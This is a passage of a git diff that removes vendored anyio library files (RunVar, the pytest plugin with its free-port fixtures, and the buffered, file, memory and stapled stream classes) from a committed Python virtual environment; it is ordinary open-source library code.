:raises LookupError: if no value is set and no default is available - - """ - try: - return self._current_vars[self] - except KeyError: - if default is not RunVar.NO_VALUE_SET: - return default - elif self._default is not RunVar.NO_VALUE_SET: - return self._default - - raise LookupError( - f'Run variable "{self._name}" has no value and no default set' - ) - - def set(self, value: T) -> RunvarToken[T]: - """ - Set the value of this run variable for the current event loop. - - :param value: the new value - :return: a token that can be used to restore the previous value - - """ - current_vars = self._current_vars - token = RunvarToken(self, current_vars.get(self, RunVar.NO_VALUE_SET)) - current_vars[self] = value - return token - - def reset(self, token: RunvarToken[T]) -> None: - """ - Restore this run variable to the value it held before the matching :meth:`set`. - - :param token: the token returned by :meth:`set` - :raises ValueError: if the token belongs to a different :class:`RunVar` or the token - has already been used - - """ - if token._var is not self: - raise ValueError("This token does not belong to this RunVar") - - if token._redeemed: - raise ValueError("This token has already been used") - - if token._value is _NoValueSet.NO_VALUE_SET: - try: - del self._current_vars[self] - except KeyError: - pass - else: - self._current_vars[self] = token._value - - token._redeemed = True - - def __repr__(self) -> str: - return f"" diff --git a/venv/Lib/site-packages/anyio/py.typed b/venv/Lib/site-packages/anyio/py.typed deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/anyio/pytest_plugin.py b/venv/Lib/site-packages/anyio/pytest_plugin.py deleted file mode 100644 index 5c667597d02f268b8f5427d8f80957116992c6ee..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/pytest_plugin.py +++ /dev/null @@ -1,375 +0,0 @@ -from __future__ import annotations - -import dataclasses -import socket -import sys -from collections.abc import Callable, Generator, Iterator -from contextlib import ExitStack, contextmanager -from inspect import isasyncgenfunction, iscoroutinefunction, ismethod -from typing import Any, cast - -import pytest -from _pytest.fixtures import FuncFixtureInfo, SubRequest -from _pytest.outcomes import Exit -from _pytest.python import CallSpec2 -from _pytest.scope import Scope - -from . import get_available_backends -from ._core._eventloop import ( - current_async_library, - get_async_backend, - reset_current_async_library, - set_current_async_library, -) -from ._core._exceptions import iterate_exceptions -from .abc import TestRunner - -if sys.version_info < (3, 11): - from exceptiongroup import ExceptionGroup - -_current_runner: TestRunner | None = None -_runner_stack: ExitStack | None = None -_runner_leases = 0 - - -def extract_backend_and_options(backend: object) -> tuple[str, dict[str, Any]]: - if isinstance(backend, str): - return backend, {} - elif isinstance(backend, tuple) and len(backend) == 2: - if isinstance(backend[0], str) and isinstance(backend[1], dict): - return cast(tuple[str, dict[str, Any]], backend) - - raise TypeError("anyio_backend must be either a string or tuple of (string, dict)") - - -@contextmanager -def get_runner( - backend_name: str, backend_options: dict[str, Any] -) -> Iterator[TestRunner]: - global _current_runner, _runner_leases, _runner_stack - if _current_runner is None: - asynclib = get_async_backend(backend_name) - _runner_stack = ExitStack() - if current_async_library() is None: - # Since we're in control of the event loop, we can cache the name of the - # async library - token = set_current_async_library(backend_name) - _runner_stack.callback(reset_current_async_library, token) - - backend_options = backend_options or {} - _current_runner = _runner_stack.enter_context( - asynclib.create_test_runner(backend_options) - ) - - _runner_leases += 1 - try: - yield _current_runner - finally: - _runner_leases -= 1 - if not _runner_leases: - assert _runner_stack is not None - _runner_stack.close() - _runner_stack = _current_runner = None - - -def pytest_addoption(parser: pytest.Parser) -> None: - parser.addini( - "anyio_mode", - default="strict", - help='AnyIO plugin mode (either "strict" or "auto")', - ) - - -def pytest_configure(config: pytest.Config) -> None: - config.addinivalue_line( - "markers", - "anyio: mark the (coroutine function) test to be run asynchronously via anyio.", - ) - if ( - config.getini("anyio_mode") == "auto" - and config.pluginmanager.has_plugin("asyncio") - and config.getini("asyncio_mode") == "auto" - ): - config.issue_config_time_warning( - pytest.PytestConfigWarning( - "AnyIO auto mode has been enabled together with pytest-asyncio auto " - "mode. This may cause unexpected behavior." - ), - 1, - ) - - -@pytest.hookimpl(hookwrapper=True) -def pytest_fixture_setup(fixturedef: Any, request: Any) -> Generator[Any]: - def wrapper(anyio_backend: Any, request: SubRequest, **kwargs: Any) -> Any: - # Rebind any fixture methods to the request instance - if ( - request.instance - and ismethod(func) - and type(func.__self__) is type(request.instance) - ): - local_func = func.__func__.__get__(request.instance) - else: - local_func = func - - backend_name, backend_options = extract_backend_and_options(anyio_backend) - if has_backend_arg: - kwargs["anyio_backend"] = anyio_backend - - if has_request_arg: - kwargs["request"] = request - - with get_runner(backend_name, backend_options) as runner: - # re-entrant call into the test runner detected. this happens when an async fixture - # is dynamically requested via request.getfixturevalue() from inside a running async - # test or fixture. on asyncio this raises RuntimeError: This event loop is already - # running, on trio the runner deadlocks - the host loop blocks waiting for the - # coroutine to return, but the coroutine is waiting for the host loop. raising here - # prevents the hang and gives a consistent error across backends. - if runner.is_running(): - raise RuntimeError( - "Cannot schedule a coroutine in the test runner while another is already running; " - "likely caused by request.getfixturevalue() on an async fixture." - ) - - if isasyncgenfunction(local_func): - yield from runner.run_asyncgen_fixture(local_func, kwargs) - else: - yield runner.run_fixture(local_func, kwargs) - - # Only apply this to coroutine functions and async generator functions in requests - # that involve the anyio_backend fixture - func = fixturedef.func - if isasyncgenfunction(func) or iscoroutinefunction(func): - if "anyio_backend" in request.fixturenames: - fixturedef.func = wrapper - original_argname = fixturedef.argnames - - if not (has_backend_arg := "anyio_backend" in fixturedef.argnames): - fixturedef.argnames += ("anyio_backend",) - - if not (has_request_arg := "request" in fixturedef.argnames): - fixturedef.argnames += ("request",) - - try: - return (yield) - finally: - fixturedef.func = func - fixturedef.argnames = original_argname - - return (yield) - - -@pytest.hookimpl(tryfirst=True) -def pytest_pycollect_makeitem( - collector: pytest.Module | pytest.Class, name: str, obj: object -) -> None: - if collector.istestfunction(obj, name): - inner_func = obj.hypothesis.inner_test if hasattr(obj, "hypothesis") else obj - if iscoroutinefunction(inner_func): - anyio_auto_mode = collector.config.getini("anyio_mode") == "auto" - marker = collector.get_closest_marker("anyio") - own_markers = getattr(obj, "pytestmark", ()) - if ( - anyio_auto_mode - or marker - or any(marker.name == "anyio" for marker in own_markers) - ): - pytest.mark.usefixtures("anyio_backend")(obj) - - -def pytest_collection_finish(session: pytest.Session) -> None: - for i, item in reversed(list(enumerate(session.items))): - if ( - isinstance(item, pytest.Function) - and iscoroutinefunction(item.function) - and item.get_closest_marker("anyio") is not None - and "anyio_backend" not in item.fixturenames - ): - new_items = [] - try: - cs_fields = {f.name for f in dataclasses.fields(CallSpec2)} - except TypeError: - cs_fields = set() - - for param_index, backend in enumerate(get_available_backends()): - if "_arg2scope" in cs_fields: # pytest >= 8 - callspec = CallSpec2( - params={"anyio_backend": backend}, - indices={"anyio_backend": param_index}, - _arg2scope={"anyio_backend": Scope.Module}, - _idlist=[backend], - marks=[], - ) - else: # pytest 7.x - callspec = CallSpec2( # type: ignore[call-arg] - funcargs={}, - params={"anyio_backend": backend}, - indices={"anyio_backend": param_index}, - arg2scope={"anyio_backend": Scope.Module}, - idlist=[backend], - marks=[], - ) - - fi = item._fixtureinfo - new_names_closure = list(fi.names_closure) - if "anyio_backend" not in new_names_closure: - new_names_closure.append("anyio_backend") - - new_fixtureinfo = FuncFixtureInfo( - argnames=fi.argnames, - initialnames=fi.initialnames, - names_closure=new_names_closure, - name2fixturedefs=fi.name2fixturedefs, - ) - new_item = pytest.Function.from_parent( - item.parent, - name=f"{item.originalname}[{backend}]", - callspec=callspec, - callobj=item.obj, - fixtureinfo=new_fixtureinfo, - keywords=item.keywords, - originalname=item.originalname, - ) - new_items.append(new_item) - - session.items[i : i + 1] = new_items - - -@pytest.hookimpl(tryfirst=True) -def pytest_pyfunc_call(pyfuncitem: Any) -> bool | None: - def run_with_hypothesis(**kwargs: Any) -> None: - with get_runner(backend_name, backend_options) as runner: - runner.run_test(original_func, kwargs) - - backend = pyfuncitem.funcargs.get("anyio_backend") - if backend: - backend_name, backend_options = extract_backend_and_options(backend) - - if hasattr(pyfuncitem.obj, "hypothesis"): - # Wrap the inner test function unless it's already wrapped - original_func = pyfuncitem.obj.hypothesis.inner_test - if original_func.__qualname__ != run_with_hypothesis.__qualname__: - if iscoroutinefunction(original_func): - pyfuncitem.obj.hypothesis.inner_test = run_with_hypothesis - - return None - - if iscoroutinefunction(pyfuncitem.obj): - funcargs = pyfuncitem.funcargs - testargs = {arg: funcargs[arg] for arg in pyfuncitem._fixtureinfo.argnames} - with get_runner(backend_name, backend_options) as runner: - try: - runner.run_test(pyfuncitem.obj, testargs) - except ExceptionGroup as excgrp: - for exc in iterate_exceptions(excgrp): - if isinstance(exc, (Exit, KeyboardInterrupt, SystemExit)): - raise exc from excgrp - - raise - - return True - - return None - - -@pytest.fixture(scope="module", params=get_available_backends()) -def anyio_backend(request: Any) -> Any: - return request.param - - -@pytest.fixture -def anyio_backend_name(anyio_backend: Any) -> str: - if isinstance(anyio_backend, str): - return anyio_backend - else: - return anyio_backend[0] - - -@pytest.fixture -def anyio_backend_options(anyio_backend: Any) -> dict[str, Any]: - if isinstance(anyio_backend, str): - return {} - else: - return anyio_backend[1] - - -class FreePortFactory: - """ - Manages port generation based on specified socket kind, ensuring no duplicate - ports are generated. - - This class provides functionality for generating available free ports on the - system. It is initialized with a specific socket kind and can generate ports - for given address families while avoiding reuse of previously generated ports. - - Users should not instantiate this class directly, but use the - ``free_tcp_port_factory`` and ``free_udp_port_factory`` fixtures instead. For simple - uses cases, ``free_tcp_port`` and ``free_udp_port`` can be used instead. - """ - - def __init__(self, kind: socket.SocketKind) -> None: - self._kind = kind - self._generated = set[int]() - - @property - def kind(self) -> socket.SocketKind: - """ - The type of socket connection (e.g., :data:`~socket.SOCK_STREAM` or - :data:`~socket.SOCK_DGRAM`) used to bind for checking port availability - - """ - return self._kind - - def __call__(self, family: socket.AddressFamily | None = None) -> int: - """ - Return an unbound port for the given address family. - - :param family: if omitted, both IPv4 and IPv6 addresses will be tried - :return: a port number - - """ - if family is not None: - families = [family] - else: - families = [socket.AF_INET] - if socket.has_ipv6: - families.append(socket.AF_INET6) - - while True: - port = 0 - with ExitStack() as stack: - for family in families: - sock = stack.enter_context(socket.socket(family, self._kind)) - addr = "::1" if family == socket.AF_INET6 else "127.0.0.1" - try: - sock.bind((addr, port)) - except OSError: - break - - if not port: - port = sock.getsockname()[1] - else: - if port not in self._generated: - self._generated.add(port) - return port - - -@pytest.fixture(scope="session") -def free_tcp_port_factory() -> FreePortFactory: - return FreePortFactory(socket.SOCK_STREAM) - - -@pytest.fixture(scope="session") -def free_udp_port_factory() -> FreePortFactory: - return FreePortFactory(socket.SOCK_DGRAM) - - -@pytest.fixture -def free_tcp_port(free_tcp_port_factory: Callable[[], int]) -> int: - return free_tcp_port_factory() - - -@pytest.fixture -def free_udp_port(free_udp_port_factory: Callable[[], int]) -> int: - return free_udp_port_factory() diff --git a/venv/Lib/site-packages/anyio/streams/__init__.py b/venv/Lib/site-packages/anyio/streams/__init__.py deleted file mode 100644 index e69de29bb2d1d6434b8b29ae775ad8c2e48c5391..0000000000000000000000000000000000000000 diff --git a/venv/Lib/site-packages/anyio/streams/buffered.py b/venv/Lib/site-packages/anyio/streams/buffered.py deleted file mode 100644 index a3b07f73ac44d5876c239fd0317846564ef06f91..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/streams/buffered.py +++ /dev/null @@ -1,201 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "BufferedByteReceiveStream", - "BufferedByteStream", - "BufferedConnectable", -) - -import sys -from collections.abc import Callable, Iterable, Mapping -from dataclasses import dataclass, field -from typing import Any, SupportsIndex - -from .. import ClosedResourceError, DelimiterNotFound, EndOfStream, IncompleteRead -from ..abc import ( - AnyByteReceiveStream, - AnyByteStream, - AnyByteStreamConnectable, - ByteReceiveStream, - ByteStream, - ByteStreamConnectable, -) - -if sys.version_info >= (3, 12): - from typing import override -else: - from typing_extensions import override - - -@dataclass(eq=False) -class BufferedByteReceiveStream(ByteReceiveStream): - """ - Wraps any bytes-based receive stream and uses a buffer to provide sophisticated - receiving capabilities in the form of a byte stream. - """ - - receive_stream: AnyByteReceiveStream - _buffer: bytearray = field(init=False, default_factory=bytearray) - _closed: bool = field(init=False, default=False) - - async def aclose(self) -> None: - await self.receive_stream.aclose() - self._closed = True - - @property - def buffer(self) -> bytes: - """The bytes currently in the buffer.""" - return bytes(self._buffer) - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return self.receive_stream.extra_attributes - - def feed_data(self, data: Iterable[SupportsIndex], /) -> None: - """ - Append data directly into the buffer. - - Any data in the buffer will be consumed by receive operations before receiving - anything from the wrapped stream. - - :param data: the data to append to the buffer (can be bytes or anything else - that supports ``__index__()``) - - """ - self._buffer.extend(data) - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - if self._closed: - raise ClosedResourceError - - if self._buffer: - chunk = bytes(self._buffer[:max_bytes]) - del self._buffer[:max_bytes] - return chunk - elif isinstance(self.receive_stream, ByteReceiveStream): - return await self.receive_stream.receive(max_bytes) - else: - # With a bytes-oriented object stream, we need to handle any surplus bytes - # we get from the receive() call - chunk = await self.receive_stream.receive() - if len(chunk) > max_bytes: - # Save the surplus bytes in the buffer - self._buffer.extend(chunk[max_bytes:]) - return chunk[:max_bytes] - else: - return chunk - - async def receive_exactly(self, nbytes: int) -> bytes: - """ - Read exactly the given amount of bytes from the stream. - - :param nbytes: the number of bytes to read - :return: the bytes read - :raises ~anyio.IncompleteRead: if the stream was closed before the requested - amount of bytes could be read from the stream - - """ - while True: - remaining = nbytes - len(self._buffer) - if remaining <= 0: - retval = self._buffer[:nbytes] - del self._buffer[:nbytes] - return bytes(retval) - - try: - if isinstance(self.receive_stream, ByteReceiveStream): - chunk = await self.receive_stream.receive(remaining) - else: - chunk = await self.receive_stream.receive() - except EndOfStream as exc: - raise IncompleteRead from exc - - self._buffer.extend(chunk) - - async def receive_until(self, delimiter: bytes, max_bytes: int) -> bytes: - """ - Read from the stream until the delimiter is found or max_bytes have been read. - - :param delimiter: the marker to look for in the stream - :param max_bytes: maximum number of bytes that will be read before raising - :exc:`~anyio.DelimiterNotFound` - :return: the bytes read (not including the delimiter) - :raises ~anyio.IncompleteRead: if the stream was closed before the delimiter - was found - :raises ~anyio.DelimiterNotFound: if the delimiter is not found within the - bytes read up to the maximum allowed - - """ - delimiter_size = len(delimiter) - offset = 0 - while True: - # Check if the delimiter can be found in the current buffer - index = self._buffer.find(delimiter, offset) - if index >= 0: - found = self._buffer[:index] - del self._buffer[: index + len(delimiter) :] - return bytes(found) - - # Check if the buffer is already at or over the limit - if len(self._buffer) >= max_bytes: - raise DelimiterNotFound(max_bytes) - - # Read more data into the buffer from the socket - try: - data = await self.receive_stream.receive() - except EndOfStream as exc: - raise IncompleteRead from exc - - # Move the offset forward and add the new data to the buffer - offset = max(len(self._buffer) - delimiter_size + 1, 0) - self._buffer.extend(data) - - -class BufferedByteStream(BufferedByteReceiveStream, ByteStream): - """ - A full-duplex variant of :class:`BufferedByteReceiveStream`. All writes are passed - through to the wrapped stream as-is. - """ - - def __init__(self, stream: AnyByteStream): - """ - :param stream: the stream to be wrapped - - """ - super().__init__(stream) - self._stream = stream - - @override - async def send_eof(self) -> None: - await self._stream.send_eof() - - @override - async def send(self, item: bytes) -> None: - await self._stream.send(item) - - -class BufferedConnectable(ByteStreamConnectable): - """ - Wraps a byte stream connectable to produce :class:`BufferedByteStream` connections. - - Use this when you want the streams returned by :meth:`connect` to have the buffered - receive API (e.g. :meth:`~BufferedByteReceiveStream.receive_exactly` and - :meth:`~BufferedByteReceiveStream.receive_until`). - - :param connectable: the byte stream connectable to wrap - """ - - def __init__(self, connectable: AnyByteStreamConnectable): - """ - :param connectable: the connectable to wrap - - """ - self.connectable = connectable - - @override - async def connect(self) -> BufferedByteStream: - stream = await self.connectable.connect() - return BufferedByteStream(stream) diff --git a/venv/Lib/site-packages/anyio/streams/file.py b/venv/Lib/site-packages/anyio/streams/file.py deleted file mode 100644 index b9d7ca4f3341a7ad7e44553e4e15134f223cb750..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/streams/file.py +++ /dev/null @@ -1,157 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "FileReadStream", - "FileStreamAttribute", - "FileWriteStream", -) - -from collections.abc import Callable, Mapping -from io import SEEK_SET, UnsupportedOperation -from os import PathLike -from pathlib import Path -from typing import IO, Any - -from .. import ( - BrokenResourceError, - ClosedResourceError, - EndOfStream, - TypedAttributeSet, - to_thread, - typed_attribute, -) -from ..abc import ByteReceiveStream, ByteSendStream - - -class FileStreamAttribute(TypedAttributeSet): - #: the open file descriptor - file: IO[bytes] = typed_attribute() - #: the path of the file on the file system, if available (file must be a real file) - path: Path = typed_attribute() - #: the file number, if available (file must be a real file or a TTY) - fileno: int = typed_attribute() - - -class _BaseFileStream: - def __init__(self, file: IO[bytes]): - self._file = file - - async def aclose(self) -> None: - await to_thread.run_sync(self._file.close) - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - attributes: dict[Any, Callable[[], Any]] = { - FileStreamAttribute.file: lambda: self._file, - } - - if hasattr(self._file, "name"): - attributes[FileStreamAttribute.path] = lambda: Path(self._file.name) - - try: - self._file.fileno() - except UnsupportedOperation: - pass - else: - attributes[FileStreamAttribute.fileno] = lambda: self._file.fileno() - - return attributes - - -class FileReadStream(_BaseFileStream, ByteReceiveStream): - """ - A byte stream that reads from a file in the file system. - - :param file: a file that has been opened for reading in binary mode - - .. versionadded:: 3.0 - """ - - @classmethod - async def from_path(cls, path: str | PathLike[str]) -> FileReadStream: - """ - Create a file read stream by opening the given file. - - :param path: path of the file to read from - - """ - file = await to_thread.run_sync(Path(path).open, "rb") - return cls(file) - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - try: - data = await to_thread.run_sync(self._file.read, max_bytes) - except ValueError: - raise ClosedResourceError from None - except OSError as exc: - raise BrokenResourceError from exc - - if data: - return data - else: - raise EndOfStream - - async def seek(self, position: int, whence: int = SEEK_SET) -> int: - """ - Seek the file to the given position. - - .. seealso:: :meth:`io.IOBase.seek` - - .. note:: Not all file descriptors are seekable. - - :param position: position to seek the file to - :param whence: controls how ``position`` is interpreted - :return: the new absolute position - :raises OSError: if the file is not seekable - - """ - return await to_thread.run_sync(self._file.seek, position, whence) - - async def tell(self) -> int: - """ - Return the current stream position. - - .. note:: Not all file descriptors are seekable. - - :return: the current absolute position - :raises OSError: if the file is not seekable - - """ - return await to_thread.run_sync(self._file.tell) - - -class FileWriteStream(_BaseFileStream, ByteSendStream): - """ - A byte stream that writes to a file in the file system. - - :param file: a file that has been opened for writing in binary mode - - .. versionadded:: 3.0 - """ - - @classmethod - async def from_path( - cls, path: str | PathLike[str], append: bool = False - ) -> FileWriteStream: - """ - Create a file write stream by opening the given file for writing. - - :param path: path of the file to write to - :param append: if ``True``, open the file for appending; if ``False``, any - existing file at the given path will be truncated - - """ - mode = "ab" if append else "wb" - file = await to_thread.run_sync(Path(path).open, mode) - return cls(file) - - async def send(self, item: bytes) -> None: - try: - await to_thread.run_sync(self._file.write, item) - except ValueError: - raise ClosedResourceError from None - except OSError as exc: - raise BrokenResourceError from exc diff --git a/venv/Lib/site-packages/anyio/streams/memory.py b/venv/Lib/site-packages/anyio/streams/memory.py deleted file mode 100644 index d8c205b82636d40064445e68748dc54682ff3e97..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/streams/memory.py +++ /dev/null @@ -1,326 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "MemoryObjectReceiveStream", - "MemoryObjectSendStream", - "MemoryObjectStreamStatistics", -) - -import warnings -from collections import OrderedDict, deque -from dataclasses import dataclass, field -from types import TracebackType -from typing import Generic, NamedTuple, TypeVar - -from .. import ( - BrokenResourceError, - ClosedResourceError, - EndOfStream, - WouldBlock, -) -from .._core._synchronization import Event -from .._core._testing import TaskInfo, get_current_task -from ..abc import ObjectReceiveStream, ObjectSendStream -from ..lowlevel import checkpoint - -T_Item = TypeVar("T_Item") -T_co = TypeVar("T_co", covariant=True) -T_contra = TypeVar("T_contra", contravariant=True) - - -class MemoryObjectStreamStatistics(NamedTuple): - current_buffer_used: int #: number of items stored in the buffer - #: maximum number of items that can be stored on this stream (or :data:`math.inf`) - max_buffer_size: float - open_send_streams: int #: number of unclosed clones of the send stream - open_receive_streams: int #: number of unclosed clones of the receive stream - #: number of tasks blocked on :meth:`MemoryObjectSendStream.send` - tasks_waiting_send: int - #: number of tasks blocked on :meth:`MemoryObjectReceiveStream.receive` - tasks_waiting_receive: int - - -@dataclass(eq=False) -class _MemoryObjectItemReceiver(Generic[T_Item]): - task_info: TaskInfo = field(init=False, default_factory=get_current_task) - item: T_Item = field(init=False) - - def __repr__(self) -> str: - # When item is not defined, we get following error with default __repr__: - # AttributeError: 'MemoryObjectItemReceiver' object has no attribute 'item' - item = getattr(self, "item", None) - return f"{self.__class__.__name__}(task_info={self.task_info}, item={item!r})" - - -@dataclass(eq=False) -class _MemoryObjectStreamState(Generic[T_Item]): - max_buffer_size: float = field() - buffer: deque[T_Item] = field(init=False, default_factory=deque) - open_send_channels: int = field(init=False, default=0) - open_receive_channels: int = field(init=False, default=0) - waiting_receivers: OrderedDict[Event, _MemoryObjectItemReceiver[T_Item]] = field( - init=False, default_factory=OrderedDict - ) - waiting_senders: OrderedDict[Event, T_Item] = field( - init=False, default_factory=OrderedDict - ) - - def statistics(self) -> MemoryObjectStreamStatistics: - return MemoryObjectStreamStatistics( - len(self.buffer), - self.max_buffer_size, - self.open_send_channels, - self.open_receive_channels, - len(self.waiting_senders), - len(self.waiting_receivers), - ) - - -@dataclass(eq=False) -class MemoryObjectReceiveStream(Generic[T_co], ObjectReceiveStream[T_co]): - _state: _MemoryObjectStreamState[T_co] - _closed: bool = field(init=False, default=False) - - def __post_init__(self) -> None: - self._state.open_receive_channels += 1 - - def receive_nowait(self) -> T_co: - """ - Receive the next item if it can be done without waiting. - - :return: the received item - :raises ~anyio.ClosedResourceError: if this send stream has been closed - :raises ~anyio.EndOfStream: if the buffer is empty and this stream has been - closed from the sending end - :raises ~anyio.WouldBlock: if there are no items in the buffer and no tasks - waiting to send - - """ - if self._closed: - raise ClosedResourceError - - if self._state.waiting_senders: - # Get the item from the next sender - send_event, item = self._state.waiting_senders.popitem(last=False) - self._state.buffer.append(item) - send_event.set() - - if self._state.buffer: - return self._state.buffer.popleft() - elif not self._state.open_send_channels: - raise EndOfStream - - raise WouldBlock - - async def receive(self) -> T_co: - await checkpoint() - try: - return self.receive_nowait() - except WouldBlock: - # Add ourselves in the queue - receive_event = Event() - receiver = _MemoryObjectItemReceiver[T_co]() - self._state.waiting_receivers[receive_event] = receiver - - try: - await receive_event.wait() - finally: - self._state.waiting_receivers.pop(receive_event, None) - - try: - return receiver.item - except AttributeError: - raise EndOfStream from None - - def clone(self) -> MemoryObjectReceiveStream[T_co]: - """ - Create a clone of this receive stream. - - Each clone can be closed separately. Only when all clones have been closed will - the receiving end of the memory stream be considered closed by the sending ends. - - :return: the cloned stream - - """ - if self._closed: - raise ClosedResourceError - - return MemoryObjectReceiveStream(_state=self._state) - - def close(self) -> None: - """ - Close the stream. - - This works the exact same way as :meth:`aclose`, but is provided as a special - case for the benefit of synchronous callbacks. - - """ - if not self._closed: - self._closed = True - self._state.open_receive_channels -= 1 - if self._state.open_receive_channels == 0: - send_events = list(self._state.waiting_senders.keys()) - for event in send_events: - event.set() - - async def aclose(self) -> None: - self.close() - - def statistics(self) -> MemoryObjectStreamStatistics: - """ - Return statistics about the current state of this stream. - - .. versionadded:: 3.0 - """ - return self._state.statistics() - - def __enter__(self) -> MemoryObjectReceiveStream[T_co]: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.close() - - def __del__(self) -> None: - if not self._closed: - warnings.warn( - f"Unclosed <{self.__class__.__name__} at {id(self):x}>", - ResourceWarning, - stacklevel=1, - source=self, - ) - - -@dataclass(eq=False) -class MemoryObjectSendStream(Generic[T_contra], ObjectSendStream[T_contra]): - _state: _MemoryObjectStreamState[T_contra] - _closed: bool = field(init=False, default=False) - - def __post_init__(self) -> None: - self._state.open_send_channels += 1 - - def send_nowait(self, item: T_contra) -> None: - """ - Send an item immediately if it can be done without waiting. - - :param item: the item to send - :raises ~anyio.ClosedResourceError: if this send stream has been closed - :raises ~anyio.BrokenResourceError: if the stream has been closed from the - receiving end - :raises ~anyio.WouldBlock: if the buffer is full and there are no tasks waiting - to receive - - """ - if self._closed: - raise ClosedResourceError - if not self._state.open_receive_channels: - raise BrokenResourceError - - while self._state.waiting_receivers: - receive_event, receiver = self._state.waiting_receivers.popitem(last=False) - if not receiver.task_info.has_pending_cancellation(): - receiver.item = item - receive_event.set() - return - - if len(self._state.buffer) < self._state.max_buffer_size: - self._state.buffer.append(item) - else: - raise WouldBlock - - async def send(self, item: T_contra) -> None: - """ - Send an item to the stream. - - If the buffer is full, this method blocks until there is again room in the - buffer or the item can be sent directly to a receiver. - - :param item: the item to send - :raises ~anyio.ClosedResourceError: if this send stream has been closed - :raises ~anyio.BrokenResourceError: if the stream has been closed from the - receiving end - - """ - await checkpoint() - try: - self.send_nowait(item) - except WouldBlock: - # Wait until there's someone on the receiving end - send_event = Event() - self._state.waiting_senders[send_event] = item - try: - await send_event.wait() - except BaseException: - self._state.waiting_senders.pop(send_event, None) - raise - - if send_event in self._state.waiting_senders: - del self._state.waiting_senders[send_event] - raise BrokenResourceError from None - - def clone(self) -> MemoryObjectSendStream[T_contra]: - """ - Create a clone of this send stream. - - Each clone can be closed separately. Only when all clones have been closed will - the sending end of the memory stream be considered closed by the receiving ends. - - :return: the cloned stream - - """ - if self._closed: - raise ClosedResourceError - - return MemoryObjectSendStream(_state=self._state) - - def close(self) -> None: - """ - Close the stream. - - This works the exact same way as :meth:`aclose`, but is provided as a special - case for the benefit of synchronous callbacks. - - """ - if not self._closed: - self._closed = True - self._state.open_send_channels -= 1 - if self._state.open_send_channels == 0: - receive_events = list(self._state.waiting_receivers.keys()) - self._state.waiting_receivers.clear() - for event in receive_events: - event.set() - - async def aclose(self) -> None: - self.close() - - def statistics(self) -> MemoryObjectStreamStatistics: - """ - Return statistics about the current state of this stream. - - .. versionadded:: 3.0 - """ - return self._state.statistics() - - def __enter__(self) -> MemoryObjectSendStream[T_contra]: - return self - - def __exit__( - self, - exc_type: type[BaseException] | None, - exc_val: BaseException | None, - exc_tb: TracebackType | None, - ) -> None: - self.close() - - def __del__(self) -> None: - if not self._closed: - warnings.warn( - f"Unclosed <{self.__class__.__name__} at {id(self):x}>", - ResourceWarning, - stacklevel=1, - source=self, - ) diff --git a/venv/Lib/site-packages/anyio/streams/stapled.py b/venv/Lib/site-packages/anyio/streams/stapled.py deleted file mode 100644 index 0a3c53da25ab33e502ac047b619b3f5ebb3c93d3..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/anyio/streams/stapled.py +++ /dev/null @@ -1,150 +0,0 @@ -from __future__ import annotations - -__all__ = ( - "MultiListener", - "StapledByteStream", - "StapledObjectStream", -) - -from collections.abc import Callable, Mapping, Sequence -from dataclasses import dataclass -from typing import Any, Generic, TypeVar - -from ..abc import ( - ByteReceiveStream, - ByteSendStream, - ByteStream, - Listener, - ObjectReceiveStream, - ObjectSendStream, - ObjectStream, - TaskGroup, -) - -T_Item = TypeVar("T_Item") -T_Stream = TypeVar("T_Stream") - - -@dataclass(eq=False) -class StapledByteStream(ByteStream): - """ - Combines two byte streams into a single, bidirectional byte stream. - - Extra attributes will be provided from both streams, with the receive stream - providing the values in case of a conflict. - - :param ByteSendStream send_stream: the sending byte stream - :param ByteReceiveStream receive_stream: the receiving byte stream - """ - - send_stream: ByteSendStream - receive_stream: ByteReceiveStream - - async def receive(self, max_bytes: int = 65536) -> bytes: - if max_bytes < 1: - raise ValueError("max_bytes must be a positive integer") - - return await self.receive_stream.receive(max_bytes) - - async def send(self, item: bytes) -> None: - await self.send_stream.send(item) - - async def send_eof(self) -> None: - await self.send_stream.aclose() - - async def aclose(self) -> None: - await self.send_stream.aclose() - await self.receive_stream.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return { - **self.send_stream.extra_attributes, - **self.receive_stream.extra_attributes, - } - - -@dataclass(eq=False) -class StapledObjectStream(Generic[T_Item], ObjectStream[T_Item]): - """ - Combines two object streams into a single, bidirectional object stream. - - Extra attributes will be provided from both streams, with the receive stream - providing the values in case of a conflict. - - :param ObjectSendStream send_stream: the sending object stream - :param ObjectReceiveStream receive_stream: the receiving object stream - """ - - send_stream: ObjectSendStream[T_Item] - receive_stream: ObjectReceiveStream[T_Item] - - async def receive(self) -> T_Item: - return await self.receive_stream.receive() - - async def send(self, item: T_Item) -> None: - await self.send_stream.send(item) - - async def send_eof(self) -> None: - await self.send_stream.aclose() - - async def aclose(self) -> None: - await self.send_stream.aclose() - await self.receive_stream.aclose() - - @property - def extra_attributes(self) -> Mapping[Any, Callable[[], Any]]: - return { - **self.send_stream.extra_attributes, - **self.receive_stream.extra_attributes, - } - - -@dataclass(eq=False) -class MultiListener(Generic[T_Stream], Listener[T_Stream]): - """ - Combines multiple listeners into one, serving connections from all of them at once. - - Any MultiListeners in the given collection of listeners will have their listeners - moved into this one. - - Extra attributes are provided from each listener, with each successive listener - overriding any conflicting attributes from the previous one. - - :param listeners: listeners to serve - :type listeners: Sequence[Listener[T_Stream]] - """ - - listeners: Sequence[Listener[T_Stream]] - - def __post_init__(self) -> None: - listeners: list[Listener[T_Stream]] = [] - for listener in self.listeners: - if isinstance(listener, MultiListener): - 